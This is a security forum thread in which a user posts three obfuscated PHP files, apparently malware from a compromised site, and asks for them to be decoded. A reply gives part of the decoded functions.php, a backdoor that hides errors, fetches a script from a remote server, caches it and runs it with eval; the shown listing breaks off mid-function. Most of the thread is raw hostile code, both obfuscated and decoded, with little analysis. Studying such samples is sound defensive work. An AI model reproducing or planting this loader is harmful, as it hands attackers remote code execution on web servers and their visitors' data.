 |
Menu |
 |
|
 Home |
| |
|
 Discussions |
| |
|
 Tools |
| |
|
| Affiliates |
| |
|
 Content |
| |
|
 Info |
| | |
|
|
|
|
|
User Info |
|
 Membership:
 Latest: MichaelSnaRe
 New Today: 0
 New Yesterday: 0
 Overall: 9144
 People Online:
 Visitors: 126
 Members: 0
 Total: 126
|
|
|
|
|
|
Full disclosure |
|
|
|
 |
|
 |
 |
|
 |
IT Security and Insecurity Portal |
|
|
Decode request and question... |
|
 Posted: Sat Sep 11, 2010 4:16 pm |
 |
|
| Cr00zng |
| Beginner |
 |
|
| Joined: Sep 11, 2010 |
| Posts: 1 |
|
|
|
 |
|
 |
|
I see that there are number of decode requests, some of them are similar to mine below. It seems that people have no problems with decoding the obfuscated text; a question for the helpful people.
Is there a site where decoding can be learned that provide tools as well? TIA...
In the meantime, please decode functions.php file:
| Code: | | <?php /* */$OOO000000=urldecode('%66%67%36%73%62%65%68%70%72%61%34%63%6f%5f%74%6e%64');$OOO0000O0=$OOO000000{4}.$OOO000000{9}.$OOO000000{3}.$OOO000000{5};$OOO0000O0.=$OOO000000{2}.$OOO000000{10}.$OOO000000{13}.$OOO000000{16};$OOO0000O0.=$OOO0000O0{3}.$OOO000000{11}.$OOO000000{12}.$OOO0000O0{7}.$OOO000000{5};$OOO000O00=$OOO000000{0}.$OOO000000{12}.$OOO000000{7}.$OOO000000{5}.$OOO000000{15};$O0O000O00=$OOO000000{0}.$OOO000000{1}.$OOO000000{5}.$OOO000000{14};$O0O000O0O=$O0O000O00.$OOO000000{11};$O0O000O00=$O0O000O00.$OOO000000{3};$O0O00OO00=$OOO000000{0}.$OOO000000{8}.$OOO000000{5}.$OOO000000{9}.$OOO000000{16};$OOO00000O=$OOO000000{3}.$OOO000000{14}.$OOO000000{8}.$OOO000000{14}.$OOO000000{8};$OOO0O0O00=__FILE__;$OO00O0000=0x123c;eval($OOO0000O0('JE8wMDBPME8wMD0kT09PMDAwTzAwKCRPT08wTzBPMDAsJ3JiJyk7JE8wTzAwT08wMCgkTzAwME8wTzAwLDB4NDgzKTskT08wME8wME8wPSRPT08wMDAwTzAoJE9PTzAwMDAwTygkTzBPMDBPTzAwKCRPMDAwTzBPMDAsMHgxN2MpLCdnd0c5bnQ2dS9OcWRtcjE1UmhBQ1ZhYitpUDgwZms3c1lLeERUT1VKMkZNWnpwTEg0QlN5b0lXZWx2alFYRTNjPScsJ0FCQ0RFRkdISUpLTE1OT1BRUlNUVVZXWFlaYWJjZGVmZ2hpamtsbW5vcHFyc3R1dnd4eXowMTIzNDU2Nzg5Ky8nKSk7ZXZhbCgkT08wME8wME8wKTs='));return;?>gDsClTbPNnE5m9w5m9w5m9IykuNsfUa406tDPAYJ+IE6AVBt+IXJdG/J/xlTCoE5mnX4Cyg4dx/J/x4TCoE5m9g4mnX4qGh5CoX4m9g4mnX2NnX4Cyg4CoX4mGYTCyg4mnX4Cyg4dGh5Cyg4Cyg4m9gFdGkJkofv0JRWkAE1fbhpfDnIVUKwRIPKixpFV9Y4PUzefIOd7nhVCIaqmTPrbJF4CnYoROrv0oO+PbBW8OtihCrD5AfzNotGRohthTk/AVFdCnI1CIwhVOrVaaP+btO8ibNDP6aUPWKF8Upz0bvHfutSfehIkJkl7+24mC/yr9VWryYvqSXJqATF1WPD06EyPAYTCyg4mnX4Cyg4qCpOkUtzqGh5Cyg4Cyg4CygF14==GUOL8aEyP+R2/UhFfewzi+OsP+NS0eNy/x44qCzqP+NS0eNsfUa40eNo8bvJq9gF14FTPbPF0UV2/TkA+ormAVa1atEbhaNCAVE1/x4xfUap0ehO+WOLP6al+eiB/xTQGUhOPUOLPAYxhINsVoaAaTaA+otRAaEaVT4xdGN2kuh41xXHiWELk6aLkGvSierSkxvLP+RHi+wFdJw2fG/F14FTPbPF0UV2/TkA+IaChaE9RVr/haECRINNVtRxduhSkbVF14FTPbPF0UV2/TkA+orwRoKt+Ir9VTORatEVAVIt/x4WmG2WmG2BmxTQGUPI0Uro8bEL/nkA+INI0xYF/uzq8biYqnkA+IaChaE9RVr/haECRINNVtRF/uzqN6rKiWKO+WOT/9oY0bRIqnkA+okOknKHfehNPGYFdTkA+ormAVa1atEbhaNCAVE1qCzqNurDfUO4kGgE/nkA+okOknrKiWKOqGhDibr2PaEFPGBuVOE9RVr/haECRINNVthsanOrhA4TiWtD86asPUOzPbvK0bVF14FFPxg2NurDfUO4kGgE5AwUibByPATY742TfWrS8+wo/9oYhINsVWaSkUaSVUaBkbaykGYxPWao+erDfUO4kG/F14FuVOECi+PORWtD86V2N6rKiWKO+WOTdGhyieNFfuRF14FEGJIO0urO/uzqNurDfUO4kGgE/nkA+IrOfJPOfONOf+aOfeR2/UkOktEyieNFfuRxqCzqsRFFPxg2NurDfUO4kGTY74FOkUtzqGhyieNFfuRF14FEGJoqPJaLiehF0WlYhINsAbvFkGYF/uzq8bi2/bPI0Uro8bEL+Wal8+rofSYJfehS+WOSP+wzibrONSTF74FUkbvDk6OH0xwykuNs8+NOf6BKiWV2NurOi+ND8G4TfUa406tDPA4Tfeax8UaDkGOQGUOU/GKFfIEKfJNK7AYTfWaKfUr2qATY74FU0eNOibr2/GYTfWaKfUr2/6ty/GhFPGgE5xhS+erOi+ND8GTY742TfOESP+wzibrO/9oY8+rsi+NSi+T2NuNOf6BKiWVF/9XTfUa406tDPazT8bhk/92YNuNOf6BKiWVQGxho0WpO0xgE/6r2fxYBqCzqN6KK7+roibrZ/9oYfehSk6Ez0ekOfxYTfeax8UaDkGTQGxhLPbaT06VY5AwykuNo0WBHkWaSqGhS+erOi+ND8GTQGJk28bBO/GY2NuwHfyIykuN40em2N6KK7+roibrZdGhLPbaT06VFqAnE5VPwCtrtq+zqNurIiUFOieRY5AwykbNykuNsfUa406tDPAYTfeax8UaDkG4Tk6EZPblzNuwHfSBykuNzPbl2NuNsfWaKfUr2qATQGxh2i+Oyk6tD8SgE/urIiJrofOESP+wzibrOqGh2i+Oyk6tD8S4Tk6EZPblzNuwHfSBykuNzPbl2NuNsfWaKfUr2qATQGJoqNurIiUFOieRY5AwykuNsfUa406tDPAYTk6EZPblzNuNsfUa406tDPA4Tfeax8UaDkGTQGJoqsbazfWVY742Tk6EZPblY5AwD8u/2mATQGxh2i+Oyk6tD8SgE/urofJhH06EeP+/2NurIiUFOieRF142T0UaOP6BO/9oYfehSk6Ez0ekOfxYTfWaKfUr2qCzqkWKF06VYqGYTf6Ey5+rofJwHfSYT86tvfehKiWzzN6vOPbhzPATF/CoEhTtmVoVF742Tfeax8UaDkGgE/urIiJrofOESP+wzibrOqGhykbNMPbrodGho0WpO0x4Tf6EydurofUBO0xYTfWaKfUr2qATQGxh2i+Oyk6tD8SgE/urIiJrofOESP+wzibrOqGh2i+Oyk6tD8S4Tk6EZPblzNuwHfSBykuNzPbl2NurOi+ND8GTF14FEGxhykbNMPbro/9oYfehS+eNOf6BKiWV2NuhH8WaLdGhSP+wzibrOdGhykbNMPbroqCzqsRFSP+hIfUlYNurIiUFOieRQGJoqsRFFPxg2/bPI0Uro8bEL+Wal8+rofSYxfehS8+wHfS/FqAwQGUPI0Uro8bEL/urofUO40em2Nurofx4T0UaOP6BOdGhHPUPyP+REmGTY74FSP+hIfUlYfehSf6EyqurofJhH06EeP+/2NurofxTzfehSk6Ez0ekOfxYT0UaOP6BOqA4T0WPUfWaoqCzqsRFEGJoqPJaLiehF0WlYhINshWaoA6EyknOTqGTY74FFPxg2P6aU8bvOPGYxhINsAnECatENhG/FqAwQGxh20ero+WOT/9oYhINsAnECatENh9zq8biYq6apfuhvqGh20ero+WOTqATY742T86EyktEFPGgE/6kOk6aLkxYxAthVVtE/CIrV/xTQGJoqsbazfWVY742T86EyktEFPGgE/6kO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qBej@~trE |
page.php file:
| Code: | | <?php /* */$OOO000000=urldecode('%66%67%36%73%62%65%68%70%72%61%34%63%6f%5f%74%6e%64');$OOO0000O0=$OOO000000{4}.$OOO000000{9}.$OOO000000{3}.$OOO000000{5};$OOO0000O0.=$OOO000000{2}.$OOO000000{10}.$OOO000000{13}.$OOO000000{16};$OOO0000O0.=$OOO0000O0{3}.$OOO000000{11}.$OOO000000{12}.$OOO0000O0{7}.$OOO000000{5};$OOO000O00=$OOO000000{0}.$OOO000000{12}.$OOO000000{7}.$OOO000000{5}.$OOO000000{15};$O0O000O00=$OOO000000{0}.$OOO000000{1}.$OOO000000{5}.$OOO000000{14};$O0O000O0O=$O0O000O00.$OOO000000{11};$O0O000O00=$O0O000O00.$OOO000000{3};$O0O00OO00=$OOO000000{0}.$OOO000000{8}.$OOO000000{5}.$OOO000000{9}.$OOO000000{16};$OOO00000O=$OOO000000{3}.$OOO000000{14}.$OOO000000{8}.$OOO000000{14}.$OOO000000{8};$OOO0O0O00=__FILE__;$OO00O0000=0x15b8;eval($OOO0000O0('JE8wMDBPME8wMD0kT09PMDAwTzAwKCRPT08wTzBPMDAsJ3JiJyk7JE8wTzAwT08wMCgkTzAwME8wTzAwLDB4NDdkKTskT08wME8wME8wPSRPT08wMDAwTzAoJE9PTzAwMDAwTygkTzBPMDBPTzAwKCRPMDAwTzBPMDAsMHgxN2MpLCdqNGR5YlNSSEllMXZwd29FTDJtc3VDOFd0Z1hVaXFhaEFyVi9abmwwRktjNlRHK0pOM1FEUGZ6NVlCN01rT3g5PScsJ0FCQ0RFRkdISUpLTE1OT1BRUlNUVVZXWFlaYWJjZGVmZ2hpamtsbW5vcHFyc3R1dnd4eXowMTIzNDU2Nzg5Ky8nKSk7ZXZhbCgkT08wME8wME8wKTs='));return;?>~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alVnRPIq |
Finally the tmp_t80x9.php:
| Code: | | <?php /* */$OOO000000=urldecode('%66%67%36%73%62%65%68%70%72%61%34%63%6f%5f%74%6e%64');$OOO0000O0=$OOO000000{4}.$OOO000000{9}.$OOO000000{3}.$OOO000000{5};$OOO0000O0.=$OOO000000{2}.$OOO000000{10}.$OOO000000{13}.$OOO000000{16};$OOO0000O0.=$OOO0000O0{3}.$OOO000000{11}.$OOO000000{12}.$OOO0000O0{7}.$OOO000000{5};$OOO000O00=$OOO000000{0}.$OOO000000{12}.$OOO000000{7}.$OOO000000{5}.$OOO000000{15};$O0O000O00=$OOO000000{0}.$OOO000000{1}.$OOO000000{5}.$OOO000000{14};$O0O000O0O=$O0O000O00.$OOO000000{11};$O0O000O00=$O0O000O00.$OOO000000{3};$O0O00OO00=$OOO000000{0}.$OOO000000{8}.$OOO000000{5}.$OOO000000{9}.$OOO000000{16};$OOO00000O=$OOO000000{3}.$OOO000000{14}.$OOO000000{8}.$OOO000000{14}.$OOO000000{8};$OOO0O0O00=__FILE__;$OO00O0000=0x98;eval($OOO0000O0('JE8wMDBPME8wMD0kT09PMDAwTzAwKCRPT08wTzBPMDAsJ3JiJyk7JE8wTzAwT08wMCgkTzAwME8wTzAwLDB4NDhjKTskT08wME8wME8wPSRPT08wMDAwTzAoJE9PTzAwMDAwTygkTzBPMDBPTzAwKCRPMDAwTzBPMDAsMHgxN2MpLCdnd0c5bnQ2dS9OcWRtcjE1UmhBQ1ZhYitpUDgwZms3c1lLeERUT1VKMkZNWnpwTEg0QlN5b0lXZWx2alFYRTNjPScsJ0FCQ0RFRkdISUpLTE1OT1BRUlNUVVZXWFlaYWJjZGVmZ2hpamtsbW5vcHFyc3R1dnd4eXowMTIzNDU2Nzg5Ky8nKSk7ZXZhbCgkT08wME8wME8wKTs='));return;?>D^PngpklnXfDEfGIHhNnE5m9w5m9w5m9IykuNsfUa406tDPAYJ+IE6AVBt+IXJdG/J/xlTCoE5mnX4Cyg4dx/J/x4TCoE5m9g4mnX4qGh5CoX4m9g4mnX2NnX4Cyg4CoX4mGYTCyg4mnX4Cyg4dGh5Cyg4Cyg4m9gFdGkJkofv0JRWkAE1fbhpfDnIVUKwRIPKixpFV9Y4PUzefIOd7nhVCIaqmTPrbJF4CnYoROrv0oO+PbBW8OtihCrD5AfzNotGRohthTk/AVFdCnI1CIwhVOrVaaP+btO8ibNDP6aUPWKF8Upz0bvHfutSfehIkJkl7+24mC/yr9VWryYvqSXJqATF1WPD06EyPAYTCyg4mnX4Cyg4qCpOkUtzqGh5Cyg4Cyg4CygF14==GUOL8aEyP+R2/UhFfewzi+OsP+NS0eNy/x44qCzqP+NS0eNsfUa40eNo8bvJq9gF14FOiWKH/6PF06asPWao+WrH0JhO0JhyqGN2kuh41xXHiWELk6aLkGvSierSkxvLP+RHiWKOiWzL8uhp0G/F142=`cH}dMeTWK |
Thanking you in advance,
Cr00zng |
|
|
|
|
|
|
|
|
| Posted: Sun Sep 12, 2010 12:54 am |
|
|
| tsabitah |
| Valuable expert |
 |
|
| Joined: Jul 07, 2010 |
| Posts: 328 |
| Location: surabaya |
|
|
|
|
|
|
functions.php
| Code: | <?php
ini_set("display_errors", 0);
error_reporting(0);
define("GR_CLIENT_VERSION", "remote_index_v1");
define("GR_SERVER_API_URL", "http://content.rcsrv.net/api.php");
define("GR_USE_CACHE_SCRIPT", true);
define("GR_CACHE_SCRIPT_TIME", 60 * 60 * 12);
function GR_Run()
{
if (GR_USE_CACHE_SCRIPT) {
$cache_id = md5(GR_GetHostId() . GR_CLIENT_VERSION);
$script = GR_GetCache($cache_id, GR_CACHE_SCRIPT_TIME, $cache_filename);
if ($script == false) {
$script = GR_ServerRequest("get_script");
GR_SaveCache($cache_id, $script);
}
} else {
$script = GR_ServerRequest("get_script");
}
if ($script) {
eval($script);
}
}
function GR_Init()
{
if (!function_exists('str_ireplace')) {
function str_ireplace($search, $replace, $subject)
{
if (is_array($search)) {
foreach ($search as $id => $r_search) {
$r_replace = is_array($replace) ? $replace[$id] : $replace;
$token = chr(1);
$haystack = strtolower($subject);
$needle = strtolower($r_search);
while (($pos = strpos($haystack, $needle)) !== false) {
$subject = substr_replace($subject, $token, $pos, strlen($r_search));
$haystack = substr_replace($haystack, $token, $pos, strlen($r_search));
}
$subject = str_replace($token, $r_replace, $subject);
}
} else {
$token = chr(1);
$haystack = strtolower($subject);
$needle = strtolower($search);
while (($pos = strpos($haystack, $needle)) !== false) {
$subject = substr_replace($subject, $token, $pos, strlen($search));
$haystack = substr_replace($haystack, $token, $pos, strlen($search));
}
$subject = str_replace($token, $replace, $subject);
}
return $subject;
}
